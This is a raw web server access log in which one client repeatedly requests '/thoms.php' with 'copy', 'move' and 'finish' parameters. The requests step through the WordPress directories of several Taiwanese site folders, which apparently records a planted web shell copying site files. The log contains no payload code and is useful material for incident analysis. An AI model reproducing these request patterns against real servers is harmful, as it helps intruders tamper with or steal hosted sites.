45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 14165 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13619 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17385 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:45 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59198 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 200 13408 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13277 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2F.well-known HTTP/1.1" 200 12594 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13773 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 200 59259 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13865 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:46 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17386 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13533 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 200 13249 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13524 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16672 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16669 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 200 29906 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 200 58384 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:47 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13974 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 13278 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14098 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17370 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fschema-shared HTTP/1.1" 200 13416 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2F.well-known HTTP/1.1" 200 12592 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28738 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12585 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:48 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13419 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13258 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14169 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:49 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
